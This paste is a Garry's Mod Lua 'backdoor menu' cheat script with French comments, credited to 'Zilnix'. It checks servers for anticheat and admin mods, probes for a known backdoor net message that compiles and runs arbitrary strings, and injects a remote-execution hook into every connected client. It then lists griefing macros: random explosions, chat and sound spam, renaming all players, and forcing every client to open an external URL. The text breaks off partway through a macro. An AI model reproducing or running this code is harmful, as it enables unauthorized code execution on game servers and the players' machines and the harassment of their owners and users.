· 6 years ago · Apr 05, 2019, 06:08 PM
1print("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n")
2MsgC (Color(math.random(1,25),math.random(1,25),math.random(1,25)), [[
3
4
5
6
7 .#@@@@ @
8 `@@@@@@@ ,@
9 @@@@@@@` ;@@
10 @@@@@@@@@# `+@@@@@
11 :@@@@@@'+,;; @@@@@@'@
12 #@@@@@ : ,:@@@@@@`@@
13 #@@@' `;:#@@@@;`,;@
14 @@@ ,; `@@@@ ':@`
15 @@@ #; ,@@@. #@@, 88Triggering Chargé | Menu Privé
16 `@@@@ ,#,. .@@@@@@@@
17 @@@@@@#' @@@@@@@, Tapez 88 Pour Ouvrir Le Menu :D
18 .#@@@. @@@@@@
19 +.#,#@; `@@@@@#
20 ,@++`` `#' +:@@@@@# Enjoy (sauf le serveur)
21 ` .+@@` #: .#@@@ .@@:
22 ,@@@, + ,@@@, @@
23 +#@@ . @@@@' ++ Backdoor Menu
24 @@@` @@@@+ @
25 +@@. :+@@# #
26 @@, @@@#` `: PRIVATE MENU FOR :
27 @@@ @@@@, @
28 ,@@ :@@@, ;@ Zilnix
29 @@ @@@ .@
30 ,@# @@@+ .+; Aiiden
31 @@@ @@@@ :#@
32 @@' ;@@@@ `@@# Supremacist
33 `@@@ :@@@@@@ ,@@#@
34 ;@@@` `'@@#@@'@@@,.:+@@@@@@ Drilen
35 +@@@@@@@@@@+@.+@@@@@@@@@@#@
36 #@@@+@,@#'@#` @@@@@@@@@@@@
37 @@@@@@@@@, @@@@@@@@@@+ YouTube Channel : https://www.youtube.com/channel/UC0QCztHSlkMOmhzygkV6ssQ
38 @@@@@@;, +@@@@@@@@@ Menu made by Zilnix, destiné à des fins commerciales.
39 `,' @@@@@@+.
40
41 ]])
42
43print ("\n")
44
45
46/*================================
47|===== 88Triggering CHECKERS =====|
48=================================*/
49
50
51if (_G.QAC or _G.CAC) then
52MsgC( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 0, 0 )," Cake Anticheat / Quack Anti Cheat Détecté ! \n" )
53else
54MsgC( Color( 0, 0, 0 ), "[88Triggering]", Color( 0, 255, 0 )," Cake Anticheat / Quack-Anti-Cheat Non Détecté ! \n" )
55end
56
57
58if (_G.ulx or _G.ulib) then
59MsgC( Color( 0, 0, 0 ), "[88Triggering]", Color( 0, 255, 0 )," Ulx / Ulib Détecté ! \n" )
60else
61MsgC( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 0, 0 )," Ulx / Ulib Non Détecté ! \n" )
62end
63
64
65if (_G.FAdmin) then
66MsgC( Color( 0, 0, 0 ), "[88Triggering]", Color( 0, 255, 0 )," DarkRP Détecté ! \n" )
67else
68MsgC( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 0, 0 )," DarkRP Non Détecté ! \n" )
69end
70
71
72if file.Exists("snte_source.lua","LUA") then
73MsgC( Color( 0, 0, 0 ), "[88Triggering]", Color( 0, 255, 0 )," SNTE Détecté ! \n" )
74end
75
76
77
78
79/*=====================================
80|===== 88Triggering BACKDOOR MENU =====|
81======================================*/
82
83
84
85
86
87local BD = {}
88local h = http
89
90
91BD.Backdoors = BD.Backdoors or {}
92
93BD.BackdoorTypes = {
94
95 ["adsp_door_length"] = {
96
97 ["Code"] = "util.AddNetworkString( 'adsp_door_length' ) net.Receive( 'adsp_door_length', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
98
99 ["Netkey"] = "adsp_door_length",
100
101 },
102
103}
104
105local netsss = net.Start
106
107function BD.IsMessagePooled( netmessage )
108
109local netfunc = netsss
110
111local status, error = pcall( netfunc, netmessage )
112
113return status
114
115end
116
117
118
119local net = net
120
121
122
123
124local ctxt = chat.AddText
125
126function BD.ChatText( message, col )
127
128 ctxt( Color(0,0,0,255), "[88] ", col, message )
129
130end
131
132
133
134function BD.PingBackDoors()
135
136 local bds = {}
137
138 for k, v in pairs(BD.BackdoorTypes) do
139
140 if BD.IsMessagePooled( tostring( v.Netkey ) ) then bds[k] = true end
141
142 end
143
144 return bds
145
146end
147
148concommand.Add("bd_refresh_backdoors", function() BD.Backdoors = BD.PingBackDoors() end)
149
150
151
152function BD.BackdoorActive()
153
154 return table.Count( BD.Backdoors ) > 0
155
156end
157
158
159
160function BD.GetActive()
161
162 if !BD.BackdoorTypes[BD.CurrentBackdoor] then return { ["Code"] = "local x = 69", ["Netkey"] = "" } end
163
164 return BD.BackdoorTypes[BD.CurrentBackdoor]
165
166end
167
168
169
170BD.BDMacros ={
171
172
173
174/*===========================================
175|===== Commandes Sur Tout Les Joueurs =====|
176============================================*/
177
178
179
180
181
182 ["Frappe Orbital Aléatoire"] = {
183
184 ["Type"] = 1,
185
186 ["Code"] = [[if !bombstrike then
187
188 hook.Add("Think", "lulz_bombstrike", function()
189
190 local explode = ents.Create( "env_explosion" )
191
192 local ps = Vector(math.random(-8000, 8000), math.random(-8000, 8000), math.random(-5000, 5000))
193
194 local trc = {}
195
196 trc.start = ps
197
198 trc.endpos = ps + Vector( 0, 0, -99999)
199
200 local tr = util.TraceLine(trc)
201
202 if !tr.Hit then return end
203
204 explode:SetPos( tr.HitPos )
205
206 explode:Spawn()
207
208 explode:SetKeyValue( "iMagnitude", "400" )
209
210 explode:Fire( "Explode", 0, 0 )
211
212 end)
213
214 bombstrike = true
215
216 else
217
218 hook.Remove("Think", "lulz_bombstrike")
219
220 bombstrike = false
221
222 end]],
223
224 ["Desc"] = "Effectuer Des Frappes Orbital",
225
226 },
227
228
229
230
231
232 [" Injecter Backdoor"] = {
233
234 ["Type"] = 1,
235
236 ["Code"] = [[
237
238 util.AddNetworkString( "88Triggered" )
239
240 function BDSendLua( p, str ) net.Start( "88Triggered" ) net.WriteString( str ) net.Send( p ) end
241
242 function BDSendLuaAll( str ) net.Start( "88Triggered" ) net.WriteString( str ) net.Broadcast() end
243
244 function BDInjectAids( p ) p:SendLua( 'net.Receive( "88Triggered", function() RunString( net.ReadString() ) end )' ) end
245
246 for k, v in pairs( player.GetAll() ) do BDInjectAids( v ) end
247
248 hook.Add( "PlayerInitialSpawn", "youonlyget88Triggeredagain", function( p ) BDInjectAids( p ) end)
249
250 ]],
251
252 ["Desc"] = "You need this to use certain macros",
253
254 },
255
256
257
258 ["Annonce Sur L'écran"] = {
259
260 ["Type"] = 1,
261
262 ["Code"] = [[for k, v in pairs(player.GetAll()) do v:PrintMessage( HUD_PRINTCENTER, @1 ) end]],
263
264 ["Desc"] = "Ecrit un truc au millieu de de l'écran des autres :D",
265
266 ["NeedsParameters"] = 1,
267
268 },
269
270
271
272 ["Spam Chat Multicolore"] = {
273
274 ["Type"] = 1,
275
276 ["Code"] = [[
277
278 if !timer.Exists( "lespamckool" ) then
279
280 timer.Create( "lespamckool", 0.5, 0, function() BDSendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), @1 )' ) end)
281
282 else
283
284 timer.Remove( "lespamckool" )
285
286 end]],
287
288 ["Desc"] = "Spam le chat de manière multicolore, c'est drôle",
289
290 ["NeedsParameters"] = 1,
291
292 },
293
294 ["Changer Le Nom De Tous"] = {
295
296 ["Type"] = 1,
297
298 ["Code"] = [[ for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, @1) v:setDarkRPVar("rpname", @1) end ]],
299
300 ["Desc"] = "Sa va être drôle :)",
301
302 ["NeedsParameters"] = 1,
303
304 },
305
306
307 ["Violent Spam Chat Multicolore"] = {
308
309 ["Type"] = 1,
310
311 ["Code"] = [[
312
313 if !timer.Exists( "wutckoasa" ) then
314
315 timer.Create( "wutckoasa", 0.01, 0, function() BDSendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), @1 )' ) end)
316
317 else
318
319 timer.Remove( "wutckoasa" )
320
321 end]],
322
323 ["Desc"] = "Spam le chat de manière multicolore et très rapidement, c'est très drôle",
324
325 ["NeedsParameters"] = 1,
326
327 },
328
329
330
331 ["Débloquer Les Portes"] = {
332
333 ["Type"] = 1,
334
335 ["Code"] = [[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("unlock", "", 0) end end]],
336
337 ["Desc"] = "Pas besoin d'expliquer",
338
339 },
340
341
342
343 ["Activer/Desactiver Les Portes"] = {
344
345 ["Type"] = 1,
346
347 ["Code"] = [[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("toggle", "", 0) end end]],
348
349 ["Desc"] = "Pas besoin d'expliquer",
350
351 },
352
353
354
355 ["Symphony De Verre Cassé"] = {
356
357 ["Type"] = 1,
358
359 ["Code"] = [[
360
361 if !timer.Exists( "A true masterpiece" ) then
362
363 timer.Create( "A true masterpiece", 0.2, 0, function()
364
365 for _, p in pairs(player.GetAll()) do
366
367 p:EmitSound( "physics/glass/glass_largesheet_break"..math.random(1,3)..".wav", 100, math.random( 40, 180 ) )
368
369 end
370
371 end)
372
373 else
374
375 timer.Remove( "A true masterpiece" )
376
377 end]],
378
379 ["Desc"] = "C'est la meilleur symphony qu'on ai vu",
380
381 },
382
383
384
385 ["Yeah Baby"] = {
386
387 ["Type"] = 1,
388
389 ["Code"] = [[
390
391 if !timer.Exists( "porn" ) then
392
393 timer.Create( "porn", 0.3, 0, function()
394
395 for _, p in pairs(player.GetAll()) do
396
397 p:EmitSound( "vo/npc/female01/yeah02.wav", 100, math.random( 90, 120 ) )
398
399 end
400
401 end)
402
403 else
404
405 timer.Remove( "porn" )
406
407 end]],
408
409 ["Desc"] = "YEAH BABY YEAH",
410
411 },
412
413 ["Bruit D'Impact"] = {
414
415 ["Type"] = 1,
416
417 ["Code"] = [[
418
419 if !timer.Exists( "impakt" ) then
420
421 timer.Create( "impakt", 0.3, 0, function()
422
423 for _, p in pairs(player.GetAll()) do
424
425 p:EmitSound( "physics/body/body_medium_impact_hard1.wav", 100, math.random( 90, 120 ) )
426
427 end
428
429 end)
430
431 else
432
433 timer.Remove( "impakt" )
434
435 end]],
436
437 ["Desc"] = "Ca doit faire mal",
438
439 },
440
441 ["Bruit de Cloche"] = {
442
443 ["Type"] = 1,
444
445 ["Code"] = [[
446
447 if !timer.Exists( "pimpon" ) then
448
449 timer.Create( "pimpon", 0.3, 0, function()
450
451 for _, p in pairs(player.GetAll()) do
452
453 p:EmitSound( "ambient/alarms/warningbell1.wav", 100, math.random( 90, 120 ) )
454
455 end
456
457 end)
458
459 else
460
461 timer.Remove( "pimpon" )
462
463 end]],
464
465 ["Desc"] = "Qu'est ce qui ce passe bordel",
466
467 },
468
469 ["Guerre Civil"] = {
470
471 ["Type"] = 1,
472
473 ["Code"] = [[
474
475 if !timer.Exists( "cwar" ) then
476
477 timer.Create( "cwar", 1, 0, function()
478
479 for _, p in pairs(player.GetAll()) do
480
481 p:EmitSound( "ambient/levels/streetwar/city_battle"..math.random( 1, 19 )..".wav", 100, math.random( 90, 120 ) )
482
483 end
484
485 end)
486
487 else
488
489 timer.Remove( "cwar" )
490
491 end]],
492
493 ["Desc"] = "C'est n'importe quoi dans c'te ville",
494
495 },
496
497
498
499 ["Séisme"] = {
500
501 ["Type"] = 1,
502
503 ["Code"] = [[
504
505 if !timer.Exists( "earthquake" ) then
506
507 timer.Create( "earthquake", 0.5, 500, function()
508
509 for _, p in pairs(player.GetAll()) do
510
511 p:SetPos( p:GetPos() + Vector( 0, 0, 1 ) )
512
513 p:SetVelocity( Vector( math.random( -50, 50 ), math.random( -50, 50 ), math.random( 100, 150 ) ) )
514
515 util.ScreenShake( p:GetPos(), 20, 1, 1, 100 )
516
517 p:EmitSound( "ambient/explosions/exp1.wav", 100, math.random( 60, 100 ) )
518
519 end
520
521
522
523 for _, e in pairs(ents.GetAll()) do
524
525 if e:GetPhysicsObject() and e:GetPhysicsObject():IsValid() then e:GetPhysicsObject():AddVelocity( Vector( math.random( -50, 50 ), math.random( -50, 50 ), math.random( 100, 150 ) ) ) end
526
527 end
528
529
530
531
532
533 end)
534
535 else
536
537 timer.Remove( "earthquake" )
538
539 end]],
540
541 ["Desc"] = "WOOOOOOOOOOAW ON EST EN CHINE BORDEL",
542
543 },
544
545
546
547 ["Dominer Le Serveur"] = {
548
549 ["Type"] = 1,
550
551 ["Code"] = [[
552
553 hook.Add("PlayerInitialSpawn", "gw_siezed", function( ply ) ply:SendLua('local html = vgui.Create( "HTML" )html:SetSize( ScrW(), ScrH() )html:OpenURL( "http://lmaoooo.mtxserv.fr/" )') end)
554
555 for k, v in pairs(player.GetAll()) do
556
557 v:SendLua('local html = vgui.Create( "HTML" )html:SetSize( ScrW(), ScrH() )html:OpenURL( "http://lmaoooo.mtxserv.fr/" )')
558
559 end]],
560
561 ["Desc"] = "Prouve que tu domine se serveur :c",
562
563 },
564
565
566
567 ["Exploser Tout Les Véhicules"] = {
568
569 ["Type"] = 1,
570
571 ["Code"] = [[for k, v in pairs(ents.GetAll()) do if v:IsVehicle() then
572
573 local explo = ents.Create("env_explosion")
574
575 explo:SetPos(v:GetPos())
576
577 explo:SetKeyValue("iMagnitude", "300")
578
579 explo:Spawn()
580
581 explo:Activate()
582
